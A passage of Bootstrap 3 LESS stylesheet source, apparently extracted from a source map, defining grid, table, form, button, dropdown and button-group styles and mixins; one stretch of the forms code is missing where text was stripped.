.make-grid(md);\n}\n\n\n// Large grid\n//\n// Columns, offsets, pushes, and pulls for the large desktop device range.\n\n@media (min-width: @screen-lg-min) {\n .make-grid(lg);\n}\n","// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n// Centered container element\n.container-fixed(@gutter: @grid-gutter-width) {\n margin-right: auto;\n margin-left: auto;\n padding-left: floor((@gutter / 2));\n padding-right: ceil((@gutter / 2));\n &:extend(.clearfix all);\n}\n\n// Creates a wrapper for a series of columns\n.make-row(@gutter: @grid-gutter-width) {\n margin-left: ceil((@gutter / -2));\n margin-right: floor((@gutter / -2));\n &:extend(.clearfix all);\n}\n\n// Generate the extra small columns\n.make-xs-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n float: left;\n width: percentage((@columns / @grid-columns));\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n}\n.make-xs-column-offset(@columns) {\n margin-left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-push(@columns) {\n left: percentage((@columns / @grid-columns));\n}\n.make-xs-column-pull(@columns) {\n right: percentage((@columns / @grid-columns));\n}\n\n// Generate the small columns\n.make-sm-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-sm-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-offset(@columns) {\n @media (min-width: @screen-sm-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-push(@columns) {\n @media (min-width: @screen-sm-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-sm-column-pull(@columns) {\n @media (min-width: @screen-sm-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the medium columns\n.make-md-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-md-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-offset(@columns) {\n @media (min-width: @screen-md-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-push(@columns) {\n @media (min-width: @screen-md-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-md-column-pull(@columns) {\n @media (min-width: @screen-md-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n\n// Generate the large columns\n.make-lg-column(@columns; @gutter: @grid-gutter-width) {\n position: relative;\n min-height: 1px;\n padding-left: (@gutter / 2);\n padding-right: (@gutter / 2);\n\n @media (min-width: @screen-lg-min) {\n float: left;\n width: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-offset(@columns) {\n @media (min-width: @screen-lg-min) {\n margin-left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-push(@columns) {\n @media (min-width: @screen-lg-min) {\n left: percentage((@columns / @grid-columns));\n }\n}\n.make-lg-column-pull(@columns) {\n @media (min-width: @screen-lg-min) {\n right: percentage((@columns / @grid-columns));\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `@grid-columns`.\n\n.make-grid-columns() {\n // Common styles for all sizes of grid columns, widths 1-12\n .col(@index) { // initial\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general; \"=<\" isn't a typo\n @item: ~\".col-xs-@{index}, .col-sm-@{index}, .col-md-@{index}, .col-lg-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n position: relative;\n // Prevent columns from collapsing when empty\n min-height: 1px;\n // Inner gutter via padding\n padding-left: ceil((@grid-gutter-width / 2));\n padding-right: floor((@grid-gutter-width / 2));\n }\n }\n .col(1); // kickstart it\n}\n\n.float-grid-columns(@class) {\n .col(@index) { // initial\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), @item);\n }\n .col(@index, @list) when (@index =< @grid-columns) { // general\n @item: ~\".col-@{class}-@{index}\";\n .col((@index + 1), ~\"@{list}, @{item}\");\n }\n .col(@index, @list) when (@index > @grid-columns) { // terminal\n @{list} {\n float: left;\n }\n }\n .col(1); // kickstart it\n}\n\n.calc-grid-column(@index, @class, @type) when (@type = width) and (@index > 0) {\n .col-@{class}-@{index} {\n width: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index > 0) {\n .col-@{class}-push-@{index} {\n left: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = push) and (@index = 0) {\n .col-@{class}-push-0 {\n left: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index > 0) {\n .col-@{class}-pull-@{index} {\n right: percentage((@index / @grid-columns));\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = pull) and (@index = 0) {\n .col-@{class}-pull-0 {\n right: auto;\n }\n}\n.calc-grid-column(@index, @class, @type) when (@type = offset) {\n .col-@{class}-offset-@{index} {\n margin-left: percentage((@index / @grid-columns));\n }\n}\n\n// Basic looping in LESS\n.loop-grid-columns(@index, @class, @type) when (@index >= 0) {\n .calc-grid-column(@index, @class, @type);\n // next iteration\n .loop-grid-columns((@index - 1), @class, @type);\n}\n\n// Create grid for specific class\n.make-grid(@class) {\n .float-grid-columns(@class);\n .loop-grid-columns(@grid-columns, @class, width);\n .loop-grid-columns(@grid-columns, @class, pull);\n .loop-grid-columns(@grid-columns, @class, push);\n .loop-grid-columns(@grid-columns, @class, offset);\n}\n","//\n// Tables\n// --------------------------------------------------\n\n\ntable {\n background-color: @table-bg;\n}\ncaption {\n padding-top: @table-cell-padding;\n padding-bottom: @table-cell-padding;\n color: @text-muted;\n text-align: left;\n}\nth {\n text-align: left;\n}\n\n\n// Baseline styles\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: @line-height-computed;\n // Cells\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-cell-padding;\n line-height: @line-height-base;\n vertical-align: top;\n border-top: 1px solid @table-border-color;\n }\n }\n }\n // Bottom align for column headings\n > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid @table-border-color;\n }\n // Remove top border from thead by default\n > caption + thead,\n > colgroup + thead,\n > thead:first-child {\n > tr:first-child {\n > th,\n > td {\n border-top: 0;\n }\n }\n }\n // Account for multiple tbody instances\n > tbody + tbody {\n border-top: 2px solid @table-border-color;\n }\n\n // Nesting\n .table {\n background-color: @body-bg;\n }\n}\n\n\n// Condensed table w/ half padding\n\n.table-condensed {\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n padding: @table-condensed-cell-padding;\n }\n }\n }\n}\n\n\n// Bordered version\n//\n// Add borders all around the table and between all the columns.\n\n.table-bordered {\n border: 1px solid @table-border-color;\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n border: 1px solid @table-border-color;\n }\n }\n }\n > thead > tr {\n > th,\n > td {\n border-bottom-width: 2px;\n }\n }\n}\n\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n > tbody > tr:nth-of-type(odd) {\n background-color: @table-bg-accent;\n }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n > tbody > tr:hover {\n background-color: @table-bg-hover;\n }\n}\n\n\n// Table cell sizing\n//\n// Reset default table behavior\n\ntable col[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-column;\n}\ntable {\n td,\n th {\n &[class*=\"col-\"] {\n position: static; // Prevent border hiding in Firefox and IE9-11 (see https://github.com/twbs/bootstrap/issues/11623)\n float: none;\n display: table-cell;\n }\n }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n// Generate the contextual variants\n.table-row-variant(active; @table-bg-active);\n.table-row-variant(success; @state-success-bg);\n.table-row-variant(info; @state-info-bg);\n.table-row-variant(warning; @state-warning-bg);\n.table-row-variant(danger; @state-danger-bg);\n\n\n// Responsive tables\n//\n// Wrap your tables in `.table-responsive` and we'll make them mobile friendly\n// by enabling horizontal scrolling. Only applies <768px. Everything above that\n// will display normally.\n\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%; // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)\n\n @media screen and (max-width: @screen-xs-max) {\n width: 100%;\n margin-bottom: (@line-height-computed * 0.75);\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid @table-border-color;\n\n // Tighten up spacing\n > .table {\n margin-bottom: 0;\n\n // Ensure the content doesn't wrap\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th,\n > td {\n white-space: nowrap;\n }\n }\n }\n }\n\n // Special overrides for the bordered tables\n > .table-bordered {\n border: 0;\n\n // Nuke the appropriate borders so that the parent can handle them\n > thead,\n > tbody,\n > tfoot {\n > tr {\n > th:first-child,\n > td:first-child {\n border-left: 0;\n }\n > th:last-child,\n > td:last-child {\n border-right: 0;\n }\n }\n }\n\n // Only nuke the last row's bottom-border in `tbody` and `tfoot` since\n // chances are there will be only one `tr` in a `thead` and that would\n // remove the border altogether.\n > tbody,\n > tfoot {\n > tr:last-child {\n > th,\n > td {\n border-bottom: 0;\n }\n }\n }\n\n }\n }\n}\n","// Tables\n\n.table-row-variant(@state; @background) {\n // Exact selectors below required to override `.table-striped` and prevent\n // inheritance to nested tables.\n .table > thead > tr,\n .table > tbody > tr,\n .table > tfoot > tr {\n > td.@{state},\n > th.@{state},\n &.@{state} > td,\n &.@{state} > th {\n background-color: @background;\n }\n }\n\n // Hover states for `.table-hover`\n // Note: this is not available for cells or rows within `thead` or `tfoot`.\n .table-hover > tbody > tr {\n > td.@{state}:hover,\n > th.@{state}:hover,\n &.@{state}:hover > td,\n &:hover > .@{state},\n &.@{state}:hover > th {\n background-color: darken(@background, 5%);\n }\n }\n}\n","//\n// Forms\n// --------------------------------------------------\n\n\n// Normalize non-controls\n//\n// Restyle and baseline non-control form elements.\n\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n // Chrome and Firefox set a `min-width: min-content;` on fieldsets,\n // so we reset that to ensure it behaves more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359.\n min-width: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: @line-height-computed;\n font-size: (@font-size-base * 1.5);\n line-height: inherit;\n color: @legend-color;\n border: 0;\n border-bottom: 1px solid @legend-border-color;\n}\n\nlabel {\n display: inline-block;\n max-width: 100%; // Force IE8 to wrap long content (see https://github.com/twbs/bootstrap/issues/13141)\n margin-bottom: 5px;\n font-weight: bold;\n}\n\n\n// Normalize form controls\n//\n// While most of our form styles require extra classes, some basic normalization\n// is required to ensure optimum display with or without those classes to better\n// address browser inconsistencies.\n\n// Override content-box in Normalize (* isn't specific enough)\ninput[type=\"search\"] {\n .box-sizing(border-box);\n}\n\n// Position radios and checkboxes better\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9; // IE8-9\n line-height: normal;\n}\n\ninput[type=\"file\"] {\n display: block;\n}\n\n// Make range inputs behave like textual form controls\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\n\n// Make multiple select elements height not fixed\nselect[multiple],\nselect[size] {\n height: auto;\n}\n\n// Focus for file, radio, and checkbox\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n .tab-focus();\n}\n\n// Adjust output element\noutput {\n display: block;\n padding-top: (@padding-base-vertical + 1);\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n}\n\n\n// Common form controls\n//\n// Shared size and type resets for form controls. Apply `.form-control` to any\n// of the following form controls:\n//\n// select\n// textarea\n// input[type=\"text\"]\n// input[type=\"password\"]\n// input[type=\"datetime\"]\n// input[type=\"datetime-local\"]\n// input[type=\"date\"]\n// input[type=\"month\"]\n// input[type=\"time\"]\n// input[type=\"week\"]\n// input[type=\"number\"]\n// input[type=\"email\"]\n// input[type=\"url\"]\n// input[type=\"search\"]\n// input[type=\"tel\"]\n// input[type=\"color\"]\n\n.form-control {\n display: block;\n width: 100%;\n height: @input-height-base; // Make inputs at least the height of their button counterpart (base line-height + padding + border)\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n line-height: @line-height-base;\n color: @input-color;\n background-color: @input-bg;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid @input-border;\n border-radius: @input-border-radius; // Note: This has no effect on s in CSS.\n .box-shadow(inset 0 1px 1px rgba(0,0,0,.075));\n .transition(~\"border-color ease-in-out .15s, box-shadow ease-in-out .15s\");\n\n // Customize the `:focus` state to imitate native WebKit styles.\n .form-control-focus();\n\n // Placeholder\n .placeholder();\n\n // Unstyle the caret on ``\n// element gets special love because it's special, and that's a fact!\n.input-size(@input-height; @padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n height: @input-height;\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n\n select& {\n height: @input-height;\n line-height: @input-height;\n }\n\n textarea&,\n select[multiple]& {\n height: auto;\n }\n}\n","//\n// Buttons\n// --------------------------------------------------\n\n\n// Base styles\n// --------------------------------------------------\n\n.btn {\n display: inline-block;\n margin-bottom: 0; // For input.btn\n font-weight: @btn-font-weight;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n white-space: nowrap;\n .button-size(@padding-base-vertical; @padding-base-horizontal; @font-size-base; @line-height-base; @btn-border-radius-base);\n .user-select(none);\n\n &,\n &:active,\n &.active {\n &:focus,\n &.focus {\n .tab-focus();\n }\n }\n\n &:hover,\n &:focus,\n &.focus {\n color: @btn-default-color;\n text-decoration: none;\n }\n\n &:active,\n &.active {\n outline: 0;\n background-image: none;\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n .opacity(.65);\n .box-shadow(none);\n }\n\n a& {\n &.disabled,\n fieldset[disabled] & {\n pointer-events: none; // Future-proof disabling of clicks on `` elements\n }\n }\n}\n\n\n// Alternate buttons\n// --------------------------------------------------\n\n.btn-default {\n .button-variant(@btn-default-color; @btn-default-bg; @btn-default-border);\n}\n.btn-primary {\n .button-variant(@btn-primary-color; @btn-primary-bg; @btn-primary-border);\n}\n// Success appears as green\n.btn-success {\n .button-variant(@btn-success-color; @btn-success-bg; @btn-success-border);\n}\n// Info appears as blue-green\n.btn-info {\n .button-variant(@btn-info-color; @btn-info-bg; @btn-info-border);\n}\n// Warning appears as orange\n.btn-warning {\n .button-variant(@btn-warning-color; @btn-warning-bg; @btn-warning-border);\n}\n// Danger and error appear as red\n.btn-danger {\n .button-variant(@btn-danger-color; @btn-danger-bg; @btn-danger-border);\n}\n\n\n// Link buttons\n// -------------------------\n\n// Make a button look and behave like a link\n.btn-link {\n color: @link-color;\n font-weight: normal;\n border-radius: 0;\n\n &,\n &:active,\n &.active,\n &[disabled],\n fieldset[disabled] & {\n background-color: transparent;\n .box-shadow(none);\n }\n &,\n &:hover,\n &:focus,\n &:active {\n border-color: transparent;\n }\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n background-color: transparent;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @btn-link-disabled-color;\n text-decoration: none;\n }\n }\n}\n\n\n// Button Sizes\n// --------------------------------------------------\n\n.btn-lg {\n // line-height: ensure even-numbered height of button next to large input\n .button-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @btn-border-radius-large);\n}\n.btn-sm {\n // line-height: ensure proper height of button next to small input\n .button-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n.btn-xs {\n .button-size(@padding-xs-vertical; @padding-xs-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n\n\n// Block button\n// --------------------------------------------------\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n// Vertically space out multiple block buttons\n.btn-block + .btn-block {\n margin-top: 5px;\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n &.btn-block {\n width: 100%;\n }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n.button-variant(@color; @background; @border) {\n color: @color;\n background-color: @background;\n border-color: @border;\n\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 25%);\n }\n &:hover {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n\n &:hover,\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 17%);\n border-color: darken(@border, 25%);\n }\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n background-image: none;\n }\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus,\n &.focus {\n background-color: @background;\n border-color: @border;\n }\n }\n\n .badge {\n color: @background;\n background-color: @color;\n }\n}\n\n// Button sizes\n.button-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n}\n","// Opacity\n\n.opacity(@opacity) {\n opacity: @opacity;\n // IE8 filter\n @opacity-ie: (@opacity * 100);\n filter: ~\"alpha(opacity=@{opacity-ie})\";\n}\n","//\n// Component animations\n// --------------------------------------------------\n\n// Heads up!\n//\n// We don't use the `.opacity()` mixin here since it causes a bug with text\n// fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552.\n\n.fade {\n opacity: 0;\n .transition(opacity .15s linear);\n &.in {\n opacity: 1;\n }\n}\n\n.collapse {\n display: none;\n\n &.in { display: block; }\n tr&.in { display: table-row; }\n tbody&.in { display: table-row-group; }\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n .transition-property(~\"height, visibility\");\n .transition-duration(.35s);\n .transition-timing-function(ease);\n}\n","//\n// Dropdown menus\n// --------------------------------------------------\n\n\n// Dropdown arrow/caret\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: @caret-width-base dashed;\n border-top: @caret-width-base solid ~\"\\9\"; // IE8\n border-right: @caret-width-base solid transparent;\n border-left: @caret-width-base solid transparent;\n}\n\n// The dropdown wrapper (div)\n.dropup,\n.dropdown {\n position: relative;\n}\n\n// Prevent the focus on the dropdown toggle when closing dropdowns\n.dropdown-toggle:focus {\n outline: 0;\n}\n\n// The dropdown menu (ul)\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: @zindex-dropdown;\n display: none; // none by default, but block on \"open\" of the menu\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0; // override default ul\n list-style: none;\n font-size: @font-size-base;\n text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n background-color: @dropdown-bg;\n border: 1px solid @dropdown-fallback-border; // IE8 fallback\n border: 1px solid @dropdown-border;\n border-radius: @border-radius-base;\n .box-shadow(0 6px 12px rgba(0,0,0,.175));\n background-clip: padding-box;\n\n // Aligns the dropdown menu to right\n //\n // Deprecated as of 3.1.0 in favor of `.dropdown-menu-[dir]`\n &.pull-right {\n right: 0;\n left: auto;\n }\n\n // Dividers (basically an hr) within the dropdown\n .divider {\n .nav-divider(@dropdown-divider-bg);\n }\n\n // Links within the dropdown menu\n > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: @line-height-base;\n color: @dropdown-link-color;\n white-space: nowrap; // prevent links from randomly breaking onto new lines\n }\n}\n\n// Hover/Focus state\n.dropdown-menu > li > a {\n &:hover,\n &:focus {\n text-decoration: none;\n color: @dropdown-link-hover-color;\n background-color: @dropdown-link-hover-bg;\n }\n}\n\n// Active state\n.dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-active-color;\n text-decoration: none;\n outline: 0;\n background-color: @dropdown-link-active-bg;\n }\n}\n\n// Disabled state\n//\n// Gray out text and ensure the hover/focus state remains gray\n\n.dropdown-menu > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-disabled-color;\n }\n\n // Nuke hover/focus effects\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none; // Remove CSS gradient\n .reset-filter();\n cursor: @cursor-disabled;\n }\n}\n\n// Open state for the dropdown\n.open {\n // Show the menu\n > .dropdown-menu {\n display: block;\n }\n\n // Remove the outline when :focus is triggered\n > a {\n outline: 0;\n }\n}\n\n// Menu positioning\n//\n// Add extra class to `.dropdown-menu` to flip the alignment of the dropdown\n// menu with the parent.\n.dropdown-menu-right {\n left: auto; // Reset the default from `.dropdown-menu`\n right: 0;\n}\n// With v3, we enabled auto-flipping if you have a dropdown within a right\n// aligned nav component. To enable the undoing of that, we provide an override\n// to restore the default dropdown menu alignment.\n//\n// This is only for left-aligning a dropdown menu within a `.navbar-right` or\n// `.pull-right` nav component.\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n\n// Dropdown section headers\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: @font-size-small;\n line-height: @line-height-base;\n color: @dropdown-header-color;\n white-space: nowrap; // as with > li > a\n}\n\n// Backdrop to catch body clicks on mobile, etc.\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: (@zindex-dropdown - 10);\n}\n\n// Right aligned dropdowns\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n//\n// Just add .dropup after the standard .dropdown class and you're set, bro.\n// TODO: abstract this so that the navbar fixed styles are not placed here?\n\n.dropup,\n.navbar-fixed-bottom .dropdown {\n // Reverse the caret\n .caret {\n border-top: 0;\n border-bottom: @caret-width-base dashed;\n border-bottom: @caret-width-base solid ~\"\\9\"; // IE8\n content: \"\";\n }\n // Different positioning for bottom up menu\n .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n }\n}\n\n\n// Component alignment\n//\n// Reiterate per navbar.less and the modified component alignment there.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-right {\n .dropdown-menu {\n .dropdown-menu-right();\n }\n // Necessary for overrides of the default right aligned menu.\n // Will remove come v4 in all likelihood.\n .dropdown-menu-left {\n .dropdown-menu-left();\n }\n }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n.nav-divider(@color: #e5e5e5) {\n height: 1px;\n margin: ((@line-height-computed / 2) - 1) 0;\n overflow: hidden;\n background-color: @color;\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n","//\n// Button groups\n// --------------------------------------------------\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle; // match .btn alignment given font-size hack above\n > .btn {\n position: relative;\n float: left;\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active,\n &.active {\n z-index: 2;\n }\n }\n}\n\n// Prevent double borders when buttons are next to each other\n.btn-group {\n .btn + .btn,\n .btn + .btn-group,\n .btn-group + .btn,\n .btn-group + .btn-group {\n margin-left: -1px;\n }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n margin-left: -5px; // Offset the first child's margin\n &:extend(.clearfix all);\n\n .btn,\n .btn-group,\n .input-group {\n float: left;\n }\n > .btn,\n > .btn-group,\n > .input-group {\n margin-left: 5px;\n }\n}\n\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n\n// Set corners individual because sometimes a single button can be in a .btn-group and we need :first-child and :last-child to both match\n.btn-group > .btn:first-child {\n margin-left: 0;\n &:not(:last-child):not(.dropdown-toggle) {\n .border-right-radius(0);\n }\n}\n// Need .dropdown-toggle since :last-child doesn't apply, given that a .dropdown-menu is used immediately after it\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n .border-left-radius(0);\n}\n\n// Custom edits for including btn-groups within btn-groups (useful for including dropdown buttons within a btn-group)\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-right-radius(0);\n }\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-left-radius(0);\n}\n\n// On active and open, don't show outline\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-xs > .btn { &:extend(.btn-xs); }\n.btn-group-sm > .btn { &:extend(.btn-sm); }\n.btn-group-lg > .btn { &:extend(.btn-lg); }\n\n\n// Split button dropdowns\n// ----------------------\n\n// Give the line between buttons some depth\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n\n// The clickable button for toggling the menu\n// Remove the gradient and set the same inset shadow as the :active state\n.btn-group.open .dropdown-toggle {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n\n // Show no shadow for `.btn-link` since it has no other button styles.\n &.btn-link {\n .box-shadow(none);\n }\n}\n\n\n// Reposition the caret\n.btn .caret {\n margin-left: 0;\n}\n// Carets in other button sizes\n.btn-lg .caret {\n border-width: @caret-width-large @caret-width-large 0;\n border-bottom-width: 0;\n}\n// Upside down carets for .dropup\n.dropup .btn-lg .caret {\n border-width: 0 @caret-width-large @caret-width-large;\n}\n\n\n// Vertical button groups\n// ----------------------\n\n.btn-group-vertical {\n > .btn,\n > .btn-group,\n > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n }\n\n // Clear floats so dropdown menus can be properly placed\n > .btn-group {\n &:extend(.clearfix all);\n > .btn {\n float: none;\n }\n }\n\n > .btn + .btn,\n > .btn + .btn-group,\n > .btn-group + .btn,\n > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n }\n}\n\n.btn-group-vertical > .btn {\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n &:first-child:not(:last-child) {\n .border-top-radius(@btn-border-radius-base);\n .border-bottom-radius(0);\n }\n &:last-child:not(:first-child) {\n .border-top-radius(0);\n .border-bottom-radius(@btn-border-radius-base);\n }\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-bottom-radius(0);\n }\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-top-radius(0);\n}\n\n\n// Justified button groups\n// ----------------------\n\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n > .btn,\n > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n }\n > .btn-group .btn {\n width: 100%;\n }\n\n > .btn-group .dropdown-menu {\n left: auto;\n }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n[data-toggle=\"buttons\"] {\n > .btn,\n > .btn-group > .btn {\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0,0,0,0);\n pointer-events: none;\n }\n }\n}\n","// Single side border-radius\n\n.border-top-radius(@radius) {\n border-top-right-radius: @radius;\n border-top-left-radius: @radius;\n}\n.border-right-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-top-right-radius: @radius;\n}\n.border-bottom-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-bottom-left-radius: @radius;\n}\n.border-left-radius(@radius) {\n border-bottom-left-radius: @radius;\n border-top-left-radius: @radius;\n}\n","//\n// Input groups\n// --------------------------------------------------\n\n// Base styles\n// -------------------------\n.input-group {\n position: relative; // For dropdowns\n display: table;\n border-collapse: separate; // prevent input groups from inheriting border styles from table cells when placed within a table\n\n // Undo padding and float of grid classes\n 